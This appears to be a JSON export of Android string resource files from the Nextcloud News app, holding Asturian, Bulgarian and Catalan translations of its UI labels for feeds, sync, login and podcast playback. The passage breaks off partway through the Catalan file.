name=\"pref_title_ShowOnlyUnread\">Amosar namás los artículos ensin lleer</string>\n    <string name=\"pref_title_ShowFastActions\">Activar les funciones d\\'accesu rápidu</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Quies aceptar el certificáu desconocíu?</string>\n    <string name=\"mtm_decision_always\">Siempres</string>\n    <string name=\"mtm_decision_abort\">Albortar</string>\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nun se seleicionó nengún podcast</string>\n    <string name=\"no_chapters_available\">Nun hai nengún capítulu disponible</string>\n    <string name=\"exit_playback\">Colar del reproductor</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidá de la reproducción</string>\n    <string name=\"notification_downloading_podcast_title\">Baxando\\'l podcast</string>\n    <string name=\"dialog_podcast_remove_confirm\">Quitar</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Tocante a</string>\n    <string name=\"pref_license\">Llicencia</string>\n    <string name=\"pref_report_issue\">Informar d\\'un problema</string>\n    <string name=\"pref_contribute_summary\">Consiguir el códigu fonte</string>\n    <string name=\"pref_privacy\">Privacidá</string>\n    <string name=\"pref_privacy_summary\">Política de privacidá de Nextcloud News p\\'Android</string>\n    <string name=\"pref_version\">Aplicación Nextcloud News p\\'Android</string>\n\n\n    <string name=\"pref_title_app_theme\">Estilu</string>\n    <string name=\"pref_display_apptheme_light\">Claridá</string>\n    <string name=\"pref_display_apptheme_dark\">Escuridá</string>\n\n    <string name=\"pref_oled_mode\">Fondu en prieto</string>\n    <string name=\"pref_external_player\">Reproductor esternu</string>\n    <string name=\"pref_display_browser_built_in\">Restolador integráu</string>\n    <string name=\"pref_display_browser_external\">Restolador esternu</string>\n\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniatures</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Testu simple</string>\n    <string name=\"pref_display_font_size_d\">Por defeutu</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Posar</string>\n    <string name=\"content_desc_playback_speed\">Velocidá de la reproducción</string>\n    <string name=\"content_desc_rewind\">Rebobinar</string>\n    <string name=\"content_desc_forward\">Avanzar</string>\n    <string name=\"content_desc_expand\">Espander</string>\n    <string name=\"content_desc_collapse\">Contrayer</string>\n    <string name=\"content_desc_tap_to_refresh\">Toca p\\'anovar</string>\n    <string name=\"content_desc_add_to_favorites\">Meter en Favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Quitar de Favoritos</string>\n    <string name=\"content_desc_show_password\">Amosar la contraseña</string>\n    <string name=\"content_desc_delete\">Desaniciar</string>\n    <string name=\"content_desc_download\">Baxar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Datos y sincronización</string>\n    <string name=\"pref_data_sync_image_cache_never\">Enxamás</string>\n    <string name=\"array_sync_interval_min_0\">Enxamás</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_min_45\">45 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 hores</string>\n    <string name=\"array_sync_interval_hour_3\">3 hores</string>\n    <string name=\"array_sync_interval_hour_6\">6 hores</string>\n    <string name=\"array_sync_interval_hour_12\">12 hores</string>\n    <string name=\"array_sync_interval_hour_24\">24 hores</string>\n    <string name=\"switch_account\">Cambiar de cuenta</string>\n    \n    <string name=\"please_wait\">Espera…</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-bg-rBG/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Автоматично синхронизиране</string>\n    <string name=\"title_activity_sync_interval_selector\">Интервал на синхронизиране</string>\n    <string name=\"empty_view_content\">Няма елементи</string>\n    <string name=\"empty_view_content_action\">Издърпване надолу, за опресняване</string>\n    <string name=\"toast_GettingMoreItems\">Започва изтеглянето на няколко елемента. Моля изчакайте....</string>\n    <string name=\"no_wifi_available\">Няма WiFi връзка</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Желаете ли да изтеглите изображенията без Wi-Fi връзка?</string>\n    <string name=\"current_version\">Ползвате версия %s</string>\n    <string name=\"widget_header\">Nextcloud Новини</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Наличен е %d нов елемент</item>\n        <item quantity=\"other\">Налични са %d нови елемента</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Презареди</string>\n    <string name=\"allUnreadFeeds\">Всички непрочетени</string>\n    <string name=\"starredFeeds\">Със звезда</string>\n    <string name=\"title_activity_new_feed\">Добави нова емисия</string>\n\n    <string name=\"menu_update\">Опресни</string>\n    <string name=\"menu_markAllAsRead\">Означи всички като прочетени</string>\n    <string name=\"menu_StartImageCaching\">Свали изображенията</string>\n    <string name=\"menu_downloadMoreItems\">Свали още елементи</string>\n\n    <string name=\"tv_showing_cached_version\">Покажи кеширана версия</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Със звезда</string>\n    <string name=\"action_read\">Прочерена</string>\n    <string name=\"action_playPodacst\">Пусни Podcast-а</string>\n    <string name=\"action_openInBrowser\">Отвори в уеб браузъра</string>\n    <string name=\"action_Share\">Сподели</string>\n    <string name=\"action_login\">Настройки на сървъра</string>\n    <string name=\"action_save\">Запис</string>\n    <string name=\"action_settings\">Настройки</string>\n    <string name=\"action_sync_settings\">Настройки на синхронизацията</string>\n    <string name=\"action_add_new_feed\">Добави нова емисия</string>\n    <string name=\"action_add_new_folder\">Добавяне на нова папка</string>\n    <string name=\"action_textToSpeech\">Прочитане</string>\n    <string name=\"action_search\">Търси</string>\n    <string name=\"action_download_articles_offline\">Свали статиите</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Изтегляне на статии за офлайн използване</string>\n    <string name=\"notification_download_images_offline\">Изтегляне на изображения за офлайн използване</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Имате %d нови непрочетени елементи</item>\n        <item quantity=\"other\">Имате %d нови непрочетени елементи</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Налични са %d нови непрочетени елементи</item>\n        <item quantity=\"other\">Налични са %d нови непрочетени елементи</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL на емисията</string>\n    <string name=\"action_add_feed\">Добави емисията</string>\n    <string name=\"import_opml\">Внасяне OPML</string>\n    <string name=\"export_opml\"> Изнасяне OPML </string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Свали изображението</string>\n    <string name=\"action_img_sharelink\">Сподели връзката към изображението</string>\n    <string name=\"action_img_open\">Отвори изображението в браузъра</string>\n    <string name=\"action_img_copylink\">Копирай връзката към изображението</string>\n    <string name=\"action_link_share\">Сподели връзката</string>\n    <string name=\"action_link_open\">Отвори връзката в браузъра</string>\n    <string name=\"action_link_copy\">Копирай връзката</string>\n    <string name=\"toast_img_download_wait\">Изтегляне. Моля изчакайте …</string>\n    <string name=\"toast_img_saved\">Изображението е записано</string>\n    <string name=\"toast_img_notwriteable\">Записването на изображението се провали.</string>\n    <string name=\"toast_copied_to_clipboard\">Копирана</string>\n    <string name=\"error_download_failed\">Свалянето се провали.</string>\n    <string name=\"intent_title_share\">Сподели чрез</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Премахване на емисията</string>\n    <string name=\"action_feed_rename\">Преименуване на емисията</string>\n    <string name=\"action_feed_move\">Преместване на емисията</string>\n    <string name=\"action_feed_notification_settings\">Настройки на известие</string>\n    <string name=\"feed_remove_button\">Премахни</string>\n    <string name=\"feed_rename_button\">Преименувай</string>\n    <string name=\"confirm_feed_remove\">Наистина ли желаете емисията да бъде премахната? Изтриването е необратима операция!</string>\n    <string name=\"feed_move_list_description\">Изберете в коя папка да бъде преместена емисията</string>\n    <string name=\"move_feed_root_folder\">Основна папка</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Премахване на папка</string>\n    <string name=\"action_folder_rename\">Преименуване на папка</string>\n    <string name=\"folder_remove_button\">Премахване</string>\n    <string name=\"folder_rename_button\">Преименуване</string>\n    <string name=\"confirm_folder_remove\">Наистина ли искате премахване на тази папка? Това не може да бъде отменено!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Получаване на уникални известия за тази емисия</string>\n    <string name=\"notification_feed_default\">Всички емисии с настройките по подразбиране ще се появят в едно известие</string>\n    <string name=\"notification_feed_none\">Няма никакви известия</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Добавяне</string>\n    <string name=\"hint_folder_name\">Име на папка</string>\n    <string name=\"folder_already_exists\">Такава папка вече съществува</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ръчно влизане</string>\n    <string name=\"login_sso\">Влизане с помощта на приложението Nextcloud Files</string>\n    <string name=\"pref_title_username\">Потребител</string>\n    <string name=\"pref_title_password\">Парола</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud root адрес</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Вписване</string>\n    <string name=\"login_progress_signing_in\">Вписване...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Полето е задължително</string>\n    <string name=\"error_invalid_url\">Грешен URL адрес</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Свалени %d стари елементи</item>\n        <item quantity=\"other\">Свалени са %d стари елементи</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Няма повече елементи</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">До сега са извлечени %d елемента …</item>\n        <item quantity=\"other\">До сега са извлечени %d елемента …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Настройки</string>\n    <string name=\"cache_is_cleared\">Кеша е изчистен!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Общи</string>\n    <string name=\"pref_title_general_sort_order\">Сортиране</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Нови → Стари</string>\n    <string name=\"pref_general_sort_order_old_new\">Стари → Нови</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Действие при плъзгане надясно</string>\n    <string name=\"pref_rename_action_swipe_left\">Действие при плъзгане наляво</string>\n\n    <string name=\"pref_title_general_search_in\">Търсене в...</string>\n\n    <string name=\"pref_general_search_in_title\">Заглавието</string>\n    <string name=\"pref_general_search_in_body\">Съдържанието</string>\n    <string name=\"dialog_clearing_cache\">Изчистване на кеш</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Изчистване на кеш. Моля изчакайте ...</string>\n    <string name=\"reset_cache_unsaved_changes\">Има несинхронизирани промени. Наистина ли желаете кеша да бъде изтрит?</string>\n    <string name=\"warning\">Предупреждение</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Синхронизиране при стартиране</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Показвай само непрочетените статии</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Без проверката на името на сървъра</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Навигиране чрез бутоните за контрол на звука</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Означаване като \\\"Прочетена\\\" след скролиране</string>\n    <string name=\"pref_title_ShowFastActions\">Активиране на функциите за бърз достъп</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Без подробен изглед, директно отваряне на статиите в браузъра</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Приемане на неизвестни сертификати?</string>\n    <string name=\"mtm_decision_always\">Винаги</string>\n    <string name=\"mtm_decision_abort\">Прекрати</string>\n    <string name=\"mtm_notification\">Проверка на сертификата</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Няма избран podcast</string>\n    <string name=\"no_chapters_available\">Няма налични глави</string>\n    <string name=\"exit_playback\">Излизане от плейъра</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Скорост на възпроизвеждане</string>\n    <string name=\"notification_downloading_podcast_title\">Изтегляне на подкаст</string>\n    <string name=\"dialog_podcast_remove_title\">Сигурни ли сте?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Премахване</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Относно</string>\n    <string name=\"pref_license\">Лиценз</string>\n    <string name=\"pref_license_summary\">GNU Affero Генерален Публичен Лиценз (AGPL) версия 3</string>\n    <string name=\"pref_report_issue\">Докладвайте за проблем</string>\n    <string name=\"pref_report_issue_summary\">Изисква се (безплатен) профил в GitHub</string>\n    <string name=\"pref_contribute\">Допринесете!</string>\n    <string name=\"pref_contribute_summary\">Вземане на изходния код</string>\n    <string name=\"pref_privacy\">Поверителност</string>\n    <string name=\"pref_privacy_summary\">Политика за поверителност на Nextcloud News Android</string>\n    <string name=\"pref_version\">Приложение Nextcloud News Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Екран</string>\n    <string name=\"pref_title_app_theme\">Тема</string>\n    <string name=\"pref_title_feed_list_layout\">Оформление на списъка с емисии</string>\n    <string name=\"pref_title_font_size\">Размер на шрифта</string>\n    <string name=\"pref_display_browser\">Браузър</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Икони за действие (подробен изглед)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Система по подразбиране</string>\n    <string name=\"pref_display_apptheme_light\">Светъл</string>\n    <string name=\"pref_display_apptheme_dark\">Тъмен</string>\n\n    <string name=\"pref_oled_mode\">Черен фон</string>\n    <string name=\"pref_oled_mode_summary\">За черни теми на OLED екрани</string>\n\n    <string name=\"pref_external_player\">Външен плейър</string>\n    <string name=\"pref_external_player_summary\">Възпроизвеждане на подкасти в медийното ви приложение по подразбиране</string>\n\n    <string name=\"pref_display_browser_cct\">Вградени персонализирани Chrome-раздели</string>\n    <string name=\"pref_display_browser_built_in\">Вградения браузър</string>\n    <string name=\"pref_display_browser_external\">Външен браузър</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Миниатюри (само заглавия)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Миниатюри</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Обикновен текст</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Заглавия</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Пълен текст</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Уеб оформление</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Изглед на карта</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Малък</string>\n    <string name=\"pref_display_font_size_d\">Стандартен</string>\n    <string name=\"pref_display_font_size_l\">Голям</string>\n    <string name=\"pref_display_font_size_xl\">Много голям</string>\n\n    <string name=\"content_desc_play\">Пускане</string>\n    <string name=\"content_desc_pause\">Пауза</string>\n    <string name=\"content_desc_playback_speed\">Скорост на възпроизвеждане</string>\n    <string name=\"content_desc_rewind\">Превъртане назад</string>\n    <string name=\"content_desc_forward\">Препращане</string>\n    <string name=\"content_desc_expand\">Разгъване</string>\n    <string name=\"content_desc_collapse\">Сгъване</string>\n    <string name=\"content_desc_mark_as_read\">Маркиране като прочетено</string>\n    <string name=\"content_desc_mark_as_unread\">Маркиране като непрочетено</string>\n    <string name=\"content_desc_tap_to_refresh\">Докосване за опресняване</string>\n    <string name=\"content_desc_add_to_favorites\">Добави в любими</string>\n    <string name=\"content_desc_remove_from_favorites\">Премахване от любими</string>\n    <string name=\"content_desc_show_password\">Показване на парола</string>\n    <string name=\"content_desc_delete\">Изтриване</string>\n    <string name=\"content_desc_download\">Изтегляне</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Грешка</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Изглежда, че приложението за новини не е инсталирано/включено на сървъра. Следвайте следните инструкции: %1$s, за да настроите приложението за новини на сървъра.</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Възникна проблем :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Приложението Web News върна версия „0“. Моля, разгледайте следния доклад за грешки: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Версията на мобилното приложение не е съвместима с версията на Nextcloud приложението. Моля актуализирайте приложението и appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Предупреждение за сигурноста</string>\n    <string name=\"login_dialog_text_security_warning\">Вие не използвате HTTPS, което силно се препоръчва.  Вашия трафик може да бъде прихванат от атакуващ и той да получи достъп до някои чувствителни данни (например вашата парола).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Нещо се обърка. Моля, опитайте отново.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Данни и Синхронизиране</string>\n    <string name=\"pref_title_clearCache\">Изтриване на кеша</string>\n    <string name=\"pref_title_CacheImagesOffline\">Кеширане на изображенията</string>\n    <string name=\"pref_title_Max_Cache_Size\">Макс. размер на кеша</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Никога</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Само през WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">През WiFi и мобилна мрежа</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Запитване когато няма WiFi връзка</string>\n\n    <string name=\"array_sync_interval_min_0\">Никога</string>\n    <string name=\"array_sync_interval_min_5\">5 минути</string>\n    <string name=\"array_sync_interval_min_15\">15 минути</string>\n    <string name=\"array_sync_interval_min_30\">30 минути</string>\n    <string name=\"array_sync_interval_min_45\">45 минути</string>\n    <string name=\"array_sync_interval_hour_1\">1 час</string>\n    <string name=\"array_sync_interval_hour_2\">2 часа</string>\n    <string name=\"array_sync_interval_hour_3\">3 часа</string>\n    <string name=\"array_sync_interval_hour_6\">6 часа</string>\n    <string name=\"array_sync_interval_hour_12\">12 часа</string>\n    <string name=\"array_sync_interval_hour_24\">24 часа</string>\n    <string name=\"switch_account\">Смяна на профил</string>\n    \n    <string name=\"successfully_exported\">Успешно изнесен към:</string>\n    <string name=\"opml_export\">OPML Експортиране</string>\n    <string name=\"parsing_opml\">Анализиране на OPML</string>\n    <string name=\"please_wait\">Моля, изчакайте …</string>\n    <string name=\"interval_sync_title\">Интервална синхронизация </string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ca/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronitza automàticament</string>\n    <string name=\"title_activity_sync_interval_selector\">Interval de sincronització</string>\n    <string name=\"empty_view_content\">Cap element</string>\n    <string name=\"empty_view_content_action\">Desplegueu per actualitzar</string>\n    <string name=\"toast_GettingMoreItems\">S\\'ha iniciat la baixada de més elements. Per favor, espereu …</string>\n    <string name=\"no_wifi_available\">Sense connexió Wi-Fi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Voleu baixar les imatges sense una connexió Wi-Fi?</string>\n    <string name=\"current_version\">Esteu fent servir la versió %s</string>\n    <string name=\"widget_header\">Notícies Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d ítem de notícia disponible</item>\n        <item quantity=\"other\">%d nous elements disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Recarrega</string>\n    <string name=\"allUnreadFeeds\">Tots els elements no llegits</string>\n    <string name=\"starredFeeds\">Elements destacats</string>\n    <string name=\"downloadedPodcasts\">Podcasts descarregats</string>\n    <string name=\"title_activity_new_feed\">Afegeix un nou canal</string>\n\n    <string name=\"menu_update\">Actualitza</string>\n    <string name=\"menu_markAllAsRead\">Marca-ho tot com a llegit</string>\n    <string name=\"menu_StartImageCaching\">Baixa imatges</string>\n    <string name=\"menu_downloadMoreItems\">Baixa més elements</string>\n\n    <string name=\"tv_showing_cached_version\">S\\'està mostrant la versió en memòria cau</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Destacat</string>\n    <string name=\"action_read\">Llegeix</string>\n    <string name=\"action_playPodacst\">Reprodueix el Podcast</string>\n    <string name=\"action_removePodcast\">Elimina el suport del Podcast</string>\n    <string name=\"action_openInBrowser\">Obre-ho en un navegador web</string>\n    <string name=\"action_Share\">Comparteix</string>\n    <string name=\"action_login\">Paràmetres del servidor</string>\n    <string name=\"action_save\">Desa</string>\n    <string name=\"action_settings\">Paràmetres</string>\n    <string name=\"action_sync_settings\">Opcions de sincronització</string>\n    <string name=\"action_add_new_feed\">Afegeix un nou canal</string>\n    <string name=\"action_add_new_folder\">Afegeix una carpeta nova</string>\n    <string name=\"action_textToSpeech\">De lectura</string>\n    <string name=\"action_search\">Cerca</string>\n    <string name=\"action_download_articles_offline\">Baixa els articles fora de línia</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">S\\'estan baixant els articles per a ús fora de línia</string>\n    <string name=\"notification_download_images_offline\">S\\'estan baixant les imatges per a ús fora de línia</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Teniu %d ítem de notícia sense llegir</item>\n        <item quantity=\"other\">Teniu %d elements sense llegir</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d ítem de notícia sense llegir disponible</item>\n        <item quantity=\"other\">%d elements sense llegir disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL del canal</string>\n    <string name=\"action_add_feed\">Afegeix canal</string>\n    <string name=\"import_opml\">Importa OPML</string>\n    <string name=\"export_opml\">Exporta OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Baixa la imatge</string>\n    <string name=\"action_img_sharelink\">Comparteix l\\'enllaç de la imatge</string>\n    <string name=\"action_img_open\">Obre la imatge al navegador</string>\n    <string name=\"action_img_copylink\">Copia l\\'enllaç de la imatge</string>\n    <string name=\"action_link_share\">Comparteix l\\'enllaç</string>\n    <string name=\"action_link_open\">Obre l\\'enllaç al navegador</string>\n    <string name=\"action_link_copy\">Copia l\\'enllaç</string>\n    <string name=\"toast_img_download_wait\">S\\'està baixant. Espereu…</string>\n    <string name=\"toast_img_saved\">S\\'ha desat la imatge</string>\n    <string name=\"toast_img_notwriteable\">No s\\'ha pogut escriure la imatge.</string>\n    <string name=\"toast_copied_to_clipboard\">S\\'ha copiat al porta-retalls</string>\n    <string name=\"error_download_failed\">Ha fallat la baixada</string>\n    <string name=\"intent_title_share\">Comparteix mitjançant</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Suprimeix el canal</string>\n    <string name=\"action_feed_rename\">Reanomena el canal</string>\n    <string name=\"action_feed_move\">Mou el canal</string>\n    <string name=\"action_feed_notification_settings\">Paràmetres de les notificacions</string>\n    <string name=\"action_feed_open_in_general_setting\">Utilitza la configuració general</string>\n    <string name=\"action_feed_open_in_detailed_view\">Vista detallada</string>\n    <string name=\"feed_remove_button\">Suprimeix</string>\n    <string name=\"feed_rename_button\">Reanomena</string>\n    <string name=\"confirm_feed_remove\">Segur que voleu suprimir aquest Canal? Això no es podrà desfer!</string>\n    <string name=\"feed_move_list_description\">Selecciona la carpeta per moure-hi el canal</string>\n    <string name=\"move_feed_root_folder\">Carpeta arrel</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Suprimeix la carpeta</string>\n    <string name=\"action_folder_rename\">Canvia el nom de la carpeta</string>\n    <string name=\"folder_remove_button\">Elimina</string>\n    <string name=\"folder_rename_button\">Canviar el nom</string>\n    <string name=\"confirm_folder_remove\">Segur que voleu suprimir aquesta carpeta? Això no es podrà desfer!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Rebeu notificacions úniques per a aquest canal</string>\n    <string name=\"notification_feed_default\">Tots els canals amb els paràmetres predeterminats es mostraran en una notificació</string>\n    <string name=\"notification_feed_none\">Cap notificació</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Afegeix</string>\n    <string name=\"hint_folder_name\">Nom de la carpeta</string>\n    <string name=\"folder_already_exists\">La carpeta ja existeix</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Inici de sessió manual</string>\n    <string name=\"login_sso\">Inici de sessió fent servir l\\'Aplicació de Fitxers de Nextcloud</string>\n    <string name=\"pref_title_username\">Nom d\\'usuari</string>\n    <string name=\"pref_title_password\">Contrasenya</string>\n    <string name=\"pref_title_owncloudRootPath\">Adreça arrel del Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Inicia la sessió</string>\n    <string name=\"login_progress_signing_in\">S\\'està iniciant la sessió…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Aquest camp és obligatori</string>\n    <string name=\"error_invalid_url\">L\\'URL és incorrecte</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Descarregat %d element antic</item>\n        <item quantity=\"other\">Descarregats %d elements antics</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hi ha més elements disponibles</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">S\\'ha recuperat %d element fins ara …</item>\n        <item quantity=\"other\">S\\'han recuperat %d elements fins ara …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Paràmetres</string>\n    <string name=\"cache_is_cleared\">S\\'ha esborrat la memòria cau!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Ordre</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nou → Antic</string>\n    <string name=\"pref_general_sort_order_old_new\">Antic → Nou</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Acció amb un desplaçament cap a la dreta</string>\n    <string name=\"pref_rename_action_swipe_left\">Acció amb un desplaçament cap a l\\'esquerra</string>\n\n    <string name=\"pref_title_general_search_in\">Cerca-hi</string>\n\n    <string name=\"pref_general_search_in_title\">Títol</string>\n    <string name=\"pref_general_search_in_body\">Cos</string>\n    <string name=\"pref_general_search_in_both\">Tots dos</string>\n\n    <string name=\"dialog_clearing_cache\">S\\'està esborrant la memòria cau</string>\n    <string name=\"dialog_clearing_cache_please_wait\">S\\'està netejant la memòria cau. Espereu si us plau … </string>\n    <string name=\"reset_cache_unsaved_changes\">Hi ha canvis no sincronitzats. Voleu suprimir la memòria cau igualment?</string>\n    <string name=\"warning\">Avís</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronitza durant l\\'inici</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostra només els articles sense llegir</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Desactiva la verificació del nom del servidor</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navega amb els botons del volum</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marca com a llegits en desplaçar-vos</string>\n    <string name=\"pref_title_ShowFastActions\">Activa les funcions d\\'accés ràpid</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omet la vista detallada i obre l\\'article dins del navegador</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">el botó enrere obre el calaix</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Accepta certificats de desconeguts?</string>\n    <string name=\"mtm_decision_always\">Sempre</string>\n    <string name=\"mtm_decision_abort\">Cancel·la</string>\n    <string name=\"mtm_notification\">Verificació del certificat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No heu seleccionat cap podcast</string>\n    <string name=\"no_chapters_available\">No hi ha capítols disponibles</string>\n    <string name=\"exit_playback\">Surt del reproductor</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocitat de reproducció</string>\n    <string name=\"notification_downloading_podcast_title\">S\\'està descarregant el podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Estas segur?</string>\n    <string name=\"dialog_podcast_status_success\">El mèdia per %1$s ha estat suprimit</string>\n    <string name=\"dialog_podcast_remove_confirm\">Suprimir</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Quant a</string>\n    <string name=\"pref_license\">Llicència</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) versió 3</string>\n    <string name=\"pref_report_issue\">Informa d\\'un problema</string>\n    <string name=\"pref_report_issue_summary\">Es requereix un compte (gratuït) de GitHub</string>\n    <string name=\"pref_contribute\">Contribuïu!</string>\n    <string name=\"pref_contribute_summary\">Obteniu el codi font</string>\n    <string name=\"pref_privacy\">Privadesa</string>\n    <string 